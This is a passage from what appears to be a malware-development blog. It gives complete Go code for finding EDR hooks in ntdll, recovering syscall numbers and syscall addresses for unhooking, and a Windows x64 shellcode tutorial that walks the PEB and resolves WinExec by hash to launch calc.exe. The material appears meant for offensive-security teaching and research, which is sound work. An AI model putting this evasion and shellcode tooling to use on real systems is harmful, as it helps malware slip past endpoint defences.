![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FuTgsfxrryazCHEFUL70J%252Fimage.png%3Falt%3Dmedia%26token%3Da81add40-ca53-43fa-8e90-7e6af5b0a62c&width=768&dpr=4&quality=100&sign=c5390bfc&sv=2) syscall;ret From the screenshot above we can see that the byte sequence for a syscall;ret is `\x0f\x05\xc3`. So when we identify the function address we start a loop to identify the location of the syscall return. I am pretty sure that any syscall from the ntdll could be used without raising any flags by the EDR when we implement indirect syscalls but I decided to find the address of the corresponding syscall instruction for the exported function since it was simple enough. Here is the code: Copy absAddress = dll.address + uintptr(funcRVA) for j := 0; j < 100; j++ { if *(*byte)(unsafe.Pointer(absAddress)) == 0x0f { if *(*byte)(unsafe.Pointer(absAddress + 1)) == 0x05 { if *(*byte)(unsafe.Pointer(absAddress + 2)) == 0xc3 { break } } } absAddress += 1 } #### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#storing-the-values-in-the-exportfunc-slice) Storing the values in the Exportfunc slice [With a few exceptions](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-nt-and-zw-versions-of-the-native-system-services-routines) , each native system services routine has two slightly different versions that have similar names but different prefixes. For example, calls to NtCreateFile and ZwCreateFile perform similar operations and are, in fact, serviced by the same kernel-mode system routine. For system calls from user mode, the Nt and Zw versions of a routine behave identically. For calls from a kernel-mode driver, the Nt and Zw versions of a routine differ in how they handle the parameter values that the caller passes to the routine. A kernel-mode driver calls the Zw version of a native system services routine to inform the routine that the parameters come from a trusted, kernel-mode source. In this case, the routine assumes that it can safely use the parameters without first validating them. However, if the parameters might be from either a user-mode source or a kernel-mode source, the driver instead calls the Nt version of the routine, which determines, based on the history of the calling thread, whether the parameters originated in user mode or kernel mode. For more information about how the routine distinguishes user-mode parameters from kernel-mode parameters. We will split these functions into two slices. It will later allow us to sort these functions and unhook them using the [halo's gate](https://blog.sektor7.net/#!res/2021/halosgate.md) . Copy if strings.HasPrefix(name, "Nt") && !slices.Contains(exclusions, name) { funcExp := Exportfunc{ funcRVA: funcRVA, functionAddress: dll.address + uintptr(funcRVA), name: name, tramboline: absAddress, } funcExp.GetSyscallNumbers(dll.address) dll.exportedNtFunctions = append(dll.exportedNtFunctions, funcExp) } if strings.HasPrefix(name, "Zw") { funcExp := Exportfunc{ funcRVA: funcRVA, functionAddress: dll.address + uintptr(funcRVA), name: name, tramboline: absAddress, } funcExp.GetSyscallNumbers(dll.address) dll.exportedZwFunctions = append(dll.exportedZwFunctions, funcExp) } We then sort them by the function address Copy sort.SliceStable(dll.exportedNtFunctions, func(i, j int) bool { return (dll.exportedNtFunctions)[i].funcRVA < (dll.exportedNtFunctions)[j].funcRVA }) sort.SliceStable(dll.exportedZwFunctions, func(i, j int) bool { return (dll.exportedZwFunctions)[i].funcRVA < (dll.exportedZwFunctions)[j].funcRVA }) We the write a function to print the exports Copy func (dll *dllstruct) PrintExports() { noPrint := []string{"NtQuerySystemTime", "ZwQuerySystemTime"} tNt := table.NewWriter() tNt.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Tramboline", "Hooked?"}) for i, fun := range dll.exportedNtFunctions { if slices.Contains(noPrint, fun.name) { continue } tNt.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.tramboline), fun.isHooked}) } tZw := table.NewWriter() tZw.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Tramboline", "Hooked?"}) for i, fun := range dll.exportedZwFunctions { if slices.Contains(noPrint, fun.name) { continue } tZw.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.tramboline), fun.isHooked}) } fmt.Println(tNt.Render()) fmt.Println(tZw.Render()) } ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#results-and-testing-against-the-edr) Results & Testing against the EDR We will first run the code against windows defender that doesn't use API hooks to check if the addresses, names, SSNs and trampoline addresses match the functions ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FGLtVYxW3jS5v6uaRYlQl%252Fimage.png%3Falt%3Dmedia%26token%3D04ad114e-6385-4835-a5bc-1da267e086d6&width=768&dpr=4&quality=100&sign=28852a79&sv=2) Script Output ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FEmhQYn7EoidXB1cEinil%252Fimage.png%3Falt%3Dmedia%26token%3D326f9aa0-8204-42b8-9386-552347074010&width=768&dpr=4&quality=100&sign=a05cd123&sv=2) Windbg cross check The values from the script and the script and windbg are a complete match. Great. Let's run the script against OpenEDR: To get only the hooked functions we use the following command Copy .\unhk.exe | findstr true - or - go run . | findstr true ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F5bCWSg0Mpz44yDjooOJq%252Fimage.png%3Falt%3Dmedia%26token%3D068f52e1-8360-4f73-9703-6a88edf3b496&width=768&dpr=4&quality=100&sign=50f26e30&sv=2) OpenEDR hooks A few APIs were found to be hooked. Let's check in the Debugger if that's the case ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fy6dPw1n3qT4rSRWoXbGD%252Fimage.png%3Falt%3Dmedia%26token%3D27974cdc-0d07-4d3f-846c-f37e5a06e8ad&width=768&dpr=4&quality=100&sign=f3bed83c&sv=2) Hooked Functions ### [](https://www.scriptchildie.com/evasion/edr-bypass/2.-userland-hooks/3.-programmatically-detect-ntdll-hooks#complete-code) Complete Code Copy package main import ( "fmt" "log" "slices" "sort" "strings" "unsafe" "github.com/jedib0t/go-pretty/v6/table" "golang.org/x/sys/windows" ) type IMAGE_EXPORT_DIRECTORY struct { //offsets Characteristics uint32 // 0x0 TimeDateStamp uint32 // 0x4 MajorVersion uint16 // 0x8 MinorVersion uint16 // 0xa Name uint32 // 0xc Base uint32 // 0x10 NumberOfFunctions uint32 // 0x14 NumberOfNames uint32 // 0x18 AddressOfFunctions uint32 // 0x1c AddressOfNames uint32 // 0x20 AddressOfNameOrdinals uint32 // 0x24 } type Exportfunc struct { funcRVA uint32 // relative address to the base address of the dll functionAddress uintptr // absolute address name string // name of the exported function syscallno uint16 // SSN trampoline uintptr // syscall ;ret; address location isHooked bool // Is the function hooked? } type dllstruct struct { name string address uintptr exportDirectoryAddress uintptr exportDirectory IMAGE_EXPORT_DIRECTORY exportedNtFunctions []Exportfunc exportedZwFunctions []Exportfunc } func main() { PrintModules() dll, err := GetStructOfLoadedDll("ntdll.dll") if err != nil { log.Fatalln(err) } fmt.Printf("\n[+] Base Address of dll %s is 0x%x\n\n", dll.name, dll.address) fmt.Printf("[+] Export Table Address 0x%x\n\n", dll.getExportTableAddress()) dll.GetImageExportDirectory() dll.getExportTableAddress() dll.GetModuleExports() dll.PrintExports() } func (dll *dllstruct) PrintExports() { noPrint := []string{"NtQuerySystemTime", "ZwQuerySystemTime"} tNt := table.NewWriter() tNt.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Trampoline", "Hooked?"}) for i, fun := range dll.exportedNtFunctions { if slices.Contains(noPrint, fun.name) { continue } tNt.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.trampoline), fun.isHooked}) } tZw := table.NewWriter() tZw.AppendHeader(table.Row{"#", "Function Address", "Function Name", "SysCallNo (SSN)", "Trampoline", "Hooked?"}) for i, fun := range dll.exportedZwFunctions { if slices.Contains(noPrint, fun.name) { continue } tZw.AppendRow(table.Row{i, fmt.Sprintf("0x%x", fun.functionAddress), fun.name, fmt.Sprintf("0x%x", fun.syscallno), fmt.Sprintf("0x%x", fun.trampoline), fun.isHooked}) } fmt.Println(tNt.Render()) fmt.Println(tZw.Render()) } func (fun *Exportfunc) GetSyscallNumbers(address uintptr) { funcbytes := (*[5]byte)(unsafe.Pointer(fun.functionAddress))[:] if funcbytes[0] == 0x4c && funcbytes[1] == 0x8b && funcbytes[2] == 0xd1 && funcbytes[3] == 0xb8 { // Check if the function is hooked. fun.syscallno = *(*uint16)(unsafe.Pointer(&funcbytes[4])) // Get Syscall Number fun.isHooked = false } else { fun.syscallno = 0xffff // when hooked set the syscall number 0xff fun.isHooked = true } //fmt.Printf("Func RVA: %x , nameRVA: %x , name: %s, syscallno : %x\n", exFunc.funcRVA, exFunc.nameRVA, exFunc.name, exFunc.syscallno) } func (dll *dllstruct) GetModuleExports() { exclusions := []string{"NtdllDefWindowProc_A", "NtdllDefWindowProc_W", "NtdllDialogWndProc_A", "NtdllDialogWndProc_W", "NtGetTickCount"} var absAddress uintptr for i := 0; i < int(dll.exportDirectory.NumberOfNames); i++ { funcRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfFunctions) + uintptr((i+1)*0x4))))) nameRVA := *((*uint32)(unsafe.Pointer(dll.address + (uintptr(dll.exportDirectory.AddressOfNames) + uintptr(i*0x4))))) nameAddr := dll.address + uintptr(nameRVA) nameRVAbyte := (*[4]byte)(unsafe.Pointer(nameAddr))[:] name := windows.BytePtrToString(&nameRVAbyte[0]) absAddress = dll.address + uintptr(funcRVA) for j := 0; j < 100; j++ { if *(*byte)(unsafe.Pointer(absAddress)) == 0x0f { if *(*byte)(unsafe.Pointer(absAddress + 1)) == 0x05 { if *(*byte)(unsafe.Pointer(absAddress + 2)) == 0xc3 { break } } } absAddress += 1 } if strings.HasPrefix(name, "Nt") && !slices.Contains(exclusions, name) { funcExp := Exportfunc{ funcRVA: funcRVA, functionAddress: dll.address + uintptr(funcRVA), name: name, trampoline: absAddress, } funcExp.GetSyscallNumbers(dll.address) dll.exportedNtFunctions = append(dll.exportedNtFunctions, funcExp) } if strings.HasPrefix(name, "Zw") { funcExp := Exportfunc{ funcRVA: funcRVA, functionAddress: dll.address + uintptr(funcRVA), name: name, trampoline: absAddress, } funcExp.GetSyscallNumbers(dll.address) dll.exportedZwFunctions = append(dll.exportedZwFunctions, funcExp) } } sort.SliceStable(dll.exportedNtFunctions, func(i, j int) bool { return (dll.exportedNtFunctions)[i].funcRVA < (dll.exportedNtFunctions)[j].funcRVA }) sort.SliceStable(dll.exportedZwFunctions, func(i, j int) bool { return (dll.exportedZwFunctions)[i].funcRVA < (dll.exportedZwFunctions)[j].funcRVA }) } // Get Image Export directory. We are interested in // - AddressofFunctions // - AddressOfNames // - AddressOFNameOrdinals (maybe in the future) // - Number of functions func (dll *dllstruct) GetImageExportDirectory() { dll.exportDirectory.Characteristics = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress))) dll.exportDirectory.TimeDateStamp = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x4))) dll.exportDirectory.MajorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0x8))) dll.exportDirectory.MinorVersion = *((*uint16)(unsafe.Pointer(dll.exportDirectoryAddress + 0xa))) dll.exportDirectory.Name = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0xc))) dll.exportDirectory.Base = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x10))) dll.exportDirectory.NumberOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x14))) dll.exportDirectory.NumberOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x18))) dll.exportDirectory.AddressOfFunctions = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x1c))) dll.exportDirectory.AddressOfNames = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x20))) dll.exportDirectory.AddressOfNameOrdinals = *((*uint32)(unsafe.Pointer(dll.exportDirectoryAddress + 0x24))) } func (dll *dllstruct) getExportTableAddress() uintptr { e_lfanew := *((*uint32)(unsafe.Pointer(dll.address + 0x3c))) ntHeader := dll.address + uintptr(e_lfanew) fileHeader := ntHeader + 0x4 // https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_file_header optionalHeader := fileHeader + 0x14 // 0x14 is the size of the image_file_header struct exportDir := optionalHeader + 0x70 // offset to export table exportDirOffset := *((*uint32)(unsafe.Pointer(exportDir))) dll.exportDirectoryAddress = dll.address + uintptr(exportDirOffset) return dll.exportDirectoryAddress } func GetStructOfLoadedDll(name string) (dllstruct, error) { modules := ListDllFromPEB() for _, module := range modules { if module.name == name { return module, nil } } return dllstruct{}, fmt.Errorf("dll not Found") } func PrintModules() { t := table.NewWriter() fmt.Printf("---------------------------------------------\nLoaded modules in current process\n") t.AppendHeader(table.Row{"#", "DLL Name", "Address"}) for i, module := range ListDllFromPEB() { t.AppendRow(table.Row{i, module.name, fmt.Sprintf("0x%x", module.address)}) } fmt.Println(t.Render()) } // adds all loaded modules and their base addresses in a slice func ListDllFromPEB() []dllstruct { peb := windows.RtlGetCurrentPeb() moduleList := peb.Ldr.InMemoryOrderModuleList a := moduleList.Flink loadedModules := []dllstruct{} for { listentry := uintptr(unsafe.Pointer(a)) // -0x10 beginning of the _LDR_DATA_TABLE_ENTRY_ structure // +0x30 Dllbase address // +0x58 +0x8 address holding the address pointing to base dllname // offsets different for 32-bit processes DllBase := uintptr(listentry) - 0x10 + 0x30 BaseDllName := uintptr(listentry) - 0x10 + 0x58 + 0x8 v := *((*uintptr)(unsafe.Pointer(BaseDllName))) //fmt.Printf("%p\n", (unsafe.Pointer(v))) // prints the address that holds the dll name s := ((*uint16)(unsafe.Pointer(v))) // turn uintptr to *uint16 dllNameStr := windows.UTF16PtrToString(s) if dllNameStr == "" { break } dllbaseaddr := *((*uintptr)(unsafe.Pointer(DllBase))) //fmt.Printf("%p\n", (unsafe.Pointer(dllbaseaddr))) // prints the dll base addr loadedModules = append(loadedModules, dllstruct{ name: dllNameStr, address: dllbaseaddr, exportDirectoryAddress: 0, exportDirectory: IMAGE_EXPORT_DIRECTORY{Characteristics: 0, TimeDateStamp: 0, MajorVersion: 0, MinorVersion: 0, Name: 0, Base: 0, NumberOfFunctions: 0, NumberOfNames: 0, AddressOfFunctions: 0, AddressOfNames: 0, AddressOfNameOrdinals: 0}, exportedNtFunctions: []Exportfunc{}, exportedZwFunctions: []Exportfunc{}, }) a = a.Flink } return loadedModules } Last updated 2 years ago Was this helpful? --- # 2. Windows x64 Shellcode Development intro | Malware Development [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#introduction) Introduction ------------------------------------------------------------------------------------------------------------------------------------------ Shellcode is a small piece of code written in assembly language that is used to perform a specific function in the context of a software exploit. The term "shellcode" comes from the idea that the code often opens a shell, providing an attacker with command-line access to a compromised system. Shellcode is commonly associated with security exploits, especially in the field of cybersecurity and penetration testing. It is often injected into a vulnerable program's memory through various means, such as buffer overflows or other vulnerabilities, to take control of the program's execution flow. The functionality of shellcode can vary widely, depending on the goals of the attacker. It might include actions like spawning a shell, downloading and executing malicious payloads, or performing other malicious activities. It's important to note that while shellcode itself is not inherently malicious, it is commonly used as a component of exploits and attacks. A common tool for generating shellcode is [msfvenom](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html) . Any payload generated from this tool is heavily signatured by AV/EDR vendors. Being able to write custom shellcode is a great addition to the arsenal of any offensive security professional. [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#assembly-intel-syntax) Assembly - Intel Syntax -------------------------------------------------------------------------------------------------------------------------------------------------------------- Throughout this blog post I will be using Intel Syntax. I think it's much easier to read and write. It's also the default syntax for Windbg which is the debugger I will be using for testing my assembly code. ### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#syntax) Syntax Intel syntax follows this convention: Copy instruction destination, source; So let's take a a real example. The add command will add the value on the right to the to the value on the left. Copy add rax,1; In this case if rax had the value 2 before the command was ran, after execution it will have the value of 3. ### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#common-asm-instructions) Common ASM instructions Instructions Explanation mov rax,1; Moves value 1 (decimal) to rax. Add 0x in front of the number for hex values mov rax, qword ptr \[r8\]; Moves the qword from the location of r8 to rax add rax,1; Adds 1 to rax sub rax,1; Subtracts 1 from rax push rax; Pushes the value of rax to the stack pop rax; Pops the first value of the stack into rax; call rax; Calls the function at the address stored in rax jmp rax; Jumps at the address stored in rax xor rax,rax; logical xor, zeros the contents of rax int3; breakpoint The above instructions are the most commonly used when we are writing shellcode. A few others will be used but they will be explained as we walk through the actual code. ### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#registers) Registers The whole list of registers can be found on [microsoft's website](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/x64-architecture) . Let's have a quick look on how some of the registers will be used within the shellcode. Let's take rax as an example. register size rax 64-bit register eax 32-bit register (lower 32 bits of rax) ax 16-bit register (lower 16 bits of eax) ah 8-bit register (higher 8 bits of ax) al 8-bit register (lower 8 bits of ax) Let's take r8 as another example register size r8 64-bit register r8d 32-bit register (lower 32 bits of r8) r8w 16-bit register (lower 16 bits of r8d) r8b 8-bit register (lower 8 bits of r8w) d - double word w - word b - byte A few things to note when using the different variations of these registers. Let's say the following instruction is used: Copy mov rax, qword ptr [r8]; The source and destination should match in size. We cannot use a 64-bit register as our destination but a 32 bit (dword) as our source. Keystone will not generate the op codes for us. [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#shellcode-template) Shellcode template ------------------------------------------------------------------------------------------------------------------------------------------------------ A good template I found online when I was looking for one can be found [here](https://www.exploit-db.com/exploits/51634) . I am not a big fan of python so I ported the above script in go. Also to make it easy for development and debugging I will include the [shellcode runner script](https://www.scriptchildie.com/malware-development-in-golang-introduction/golang-programming-intro/4.-shellcode-runner) and automatically launch and attach Windbg Preview. The ported code can be downloaded from my github page [here](https://github.com/scriptchildie/goShellcodeDevelopment) . If you are more familiar with python you can use the original template from exploitdb and follow along. Only caveat is that you will have to write your own shellcode runner to execute the code. [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#objective) Objective ------------------------------------------------------------------------------------------------------------------------------------ With everything we have now in place, let's have a quick look at the code we are trying to execute in a higher level language. Copy package main import ( "syscall" "unsafe" "golang.org/x/sys/windows" ) func main() { hModule, _ := windows.LoadLibrary("kernel32.dll") winexecaddr, _ := windows.GetProcAddress(hModule, "WinExec") calcstring, _ := syscall.BytePtrFromString("calc.exe") syscall.SyscallN( winexecaddr, uintptr(unsafe.Pointer(calcstring)), 0x1) } From the above code we essentially have 4 lines of code we would like to turn into assembly. Line 12: Import kernel32.dll Line14: Get the Process address of WinExec Line16: Get a Pointer to a null terminated string "calc.exe" Line 18: Call the Winexec function passing the pointer from line 16 as the first argument and 1 as the second. [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#shellcode) Shellcode ------------------------------------------------------------------------------------------------------------------------------------ ### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#finding-kernel32.dll) Finding kernel32.dll As mentioned previously the first step of developing our shellcode is to find the base address of kernel32.dll in memory. Kernel32.dll is always loaded in the process memory on creation. To find the address we have to perform the following tasks. 1. Get the address of the [PEB](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb) structure from [TEB](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-teb) 2. From PEB we can get the [PEB\_LDR\_DATA](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data) 3. And from PEB\_LDR\_DATA we can get [InMemoryOrderModuleList](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data#remarks) Let's walk through the assembly code in windbg to ensure we get the expected results. We start by adding a breakpoint `int3;` at the top of our shellcode. Copy "find_kernel32:", " int3;", " xor rdx, rdx;", " mov rax, gs:[rdx+0x60];", // RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address " mov rsi,[rax+0x18];", // Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure " mov rsi,[rsi + 0x20];", // RSI is the address of the InMemoryOrderModuleList member in the _PEB_LDR_DATA structure " mov r9, [rsi];", // Current module is current executable " mov r9, [r9];", // Current module is ntdll.dll " mov r9, [r9+0x20];", // Current module is kernel32.dll " jmp call_winexec;", #### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#get-the-address-of-the-peb-structure-from-teb) Get the address of the PEB structure from TEB Line 3: In the context of Windows, the `gs` register points to the thread information block (TEB), which contains information about the current thread In Windbg we can view the structure using the following command Copy dt nt!_TEB @$teb ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FzSJjcLm2Cf7Bxziritmr%252Fimage.png%3Falt%3Dmedia%26token%3Dc23f2a6d-ab06-4b84-904a-153d939d37e7&width=768&dpr=4&quality=100&sign=decd1a76&sv=2) We can see that the PEB is located at offset 0x60 from the beginning of the TEB. Once we step over the following instruction we should get the address of PEB in rax Copy mov rax,qword ptr gs:[rdx+60h] A quick sanity check confirms that the value in the rax register matches the one from the TEB. Copy 0:001> r rax rax=00000009d0110000 #### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#from-peb-we-can-get-the-peb_ldr_data) From PEB we can get the PEB\_LDR\_DATA Line 5: We have the value of PEB in RAX and we now try to get the address of the PEB\_LDR\_DATA. We can then use the following command to view the PEB Structure and identify the offset for LDR Copy dt nt!_PEB 00000009d0110000 ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fl3DDHCl2cOoYDVHEtY98%252Fimage.png%3Falt%3Dmedia%26token%3D4053df19-9592-48e8-bbdb-2ad136329b81&width=768&dpr=4&quality=100&sign=fdfd72a1&sv=2) As we can see from above the offset to Ldr is 0x18. Let's step over line 5 that has the following instruction to see if we get the address of PEB\_LDR\_DATA in the RSI register Copy " mov rsi,[rax+0x18];" Let's do a quick sanity check using windbg Copy 0:001> p 0000016b`78f8000d 488b7620 mov rsi,qword ptr [rsi+20h] ds:00007ffc`22ff6400=0000016b52262c80 0:001> r rsi rsi=00007ffc22ff63e0 Great, we now have the address of the struct in rsi #### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#we-can-get-inmemoryordermodulelist-from-peb_ldr_data) We can get InMemoryOrderModuleList from PEB\_LDR\_DATA Line 6: We now have the PEB\_LDR\_DATA address in rsi and we want to get the value of InMemoryOrderModuleList to rsi. Let's view the struct in windbg once again to make sure we have the correct offset in our shellcode. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252F9N3h48bbR3NDdxkpznUn%252Fimage.png%3Falt%3Dmedia%26token%3De4863ba9-24be-40fe-b6da-1491c050d9a1&width=768&dpr=4&quality=100&sign=f6a2e7de&sv=2) The offset seems to be correct in our code Copy " mov rsi,[rsi + 0x20];" Let's step over in our code to see if we get the right value in rsi. Copy 0:001> p 0000016b`78f80011 4c8b0e mov r9,qword ptr [rsi] ds:0000016b`52262c80=0000016b52262ae0 0:001> r rsi rsi=0000016b52262c80 #### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#walk-the-link-list) Walk the link list. Kernel32 comes after the current executable and ntdll. So moving forward twice should give us the \_LDR\_DATA\_TABLE\_ENTRY of kernel32. Let's confirm this. First Entry ks.exe: Copy dt _LDR_DATA_TABLE_ENTRY 0x16b52262c80-0x10 ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FYxje7FHi9IIyWqNrWsbs%252Fimage.png%3Falt%3Dmedia%26token%3D31ec617e-9818-4e4b-86ac-97cd25185573&width=768&dpr=4&quality=100&sign=f6ca3c5c&sv=2) ks.exe (current running process) Second entry ntdll.dll ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FqErf4yMRU3MAtdGeBEiq%252Fimage.png%3Falt%3Dmedia%26token%3D5735cdf2-7fbb-4c22-a4f3-a17513b36240&width=768&dpr=4&quality=100&sign=63a74319&sv=2) ntdll.dll Third entry kernel32.dll ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252FqQrCkvxfff154UH53zMH%252Fimage.png%3Falt%3Dmedia%26token%3D784d2664-c9fc-465e-b9b7-506b56f47a0c&width=768&dpr=4&quality=100&sign=831fc71d&sv=2) kernel32.dll We can see from the beginning of the structure the offset to the DllBase is at 0x30. Since we are substructing 0x10 from the r9 register to get to the beginning of the structure we only need to add 0x20 to get the DllBase value. Copy " mov r9, [r9+0x20];", Let's confirm that after stepping over line 9 in our code the register r9 will hold the kernel32.dll base address. ![](https://www.scriptchildie.com/~gitbook/image?url=https%3A%2F%2F1525675160-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F1BtmYYGIbNqDCOEq0YOj%252Fuploads%252Fvi6I8Emxtr7Qyw9kSmDI%252Fimage.png%3Falt%3Dmedia%26token%3De535b8db-13cb-41eb-a147-effee5db31cc&width=768&dpr=4&quality=100&sign=484c80a7&sv=2) Awesome.. with the address of kernel32 in r9 we can now proceed to get the address of winexec ### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#getprocaddress) GetProcAddress The next step step in our shellcode is to create a function to walk through the exports directory of any given dll (base address) and return the absolute address of the function. Although in this example we will only call it once, in larger and more real world scenarios we will most likely have to call this function multiple times. Copy "parse_module:", // Parsing DLL file in memory " mov ecx, dword ptr [r9 + 0x3c];", // R9 stores the base address of the module, get the NT header offset " xor r15, r15;", " mov r15b, 0x88;", // Offset to Export Directory " add r15, r9;", " add r15, rcx;", " mov r15d, dword ptr [r15];", // Get the RVA of the export directory " add r15, r9;", // R14 stores the VMA of the export directory " mov ecx, dword ptr [r15 + 0x18];", // ECX stores the number of function names as an index value " mov r14d, dword ptr [r15 + 0x20];", // Get the RVA of ENPT " add r14, r9;", // R14 stores the VMA of ENPT "search_function:", // Search for a given function " jrcxz not_found;", // If RCX is 0, the given function is not found " dec ecx;", // Decrease index by 1 " xor rsi, rsi;", " mov esi, [r14 + rcx*4];", // RVA of function name string " add rsi, r9;", // RSI points to function name string "function_hashing:", // Hash function name function " xor rax, rax;", " xor rdx, rdx;", " cld;", // Clear DF flag "iteration:", // Iterate over each byte " lodsb;", // Copy the next byte of RSI to Al " test al, al;", // If reaching the end of the string " jz compare_hash;", // Compare hash " ror edx, 0x0d;", // Part of hash algorithm " add edx, eax;", // Part of hash algorithm " jmp iteration;", // Next byte "compare_hash:", // Compare hash " cmp edx, r8d;", " jnz search_function;", // If not equal, search the previous function (index decreases) " mov r10d, [r15 + 0x24];", // Ordinal table RVA " add r10, r9;", // Ordinal table VMA " movzx ecx, word ptr [r10 + 2*rcx];", // Ordinal value -1 " mov r11d, [r15 + 0x1c];", // RVA of EAT " add r11, r9;", // VMA of EAT " mov eax, [r11 + 4*rcx];", // RAX stores RVA of the function " add rax, r9;", // RAX stores VMA of the function " ret;", "not_found:", " ret;", Let's break the code down into smaller pieces to understand exactly what's happening. #### [](https://www.scriptchildie.com/payloads/shellcode-development/2.-windows-x64-shellcode-development-intro#parse_module) parse\_module Copy "parse_module:", // Parsing DLL file in memory " mov ecx, dword ptr [r9 + 0x3c];", // R9 stores the base address of the module, 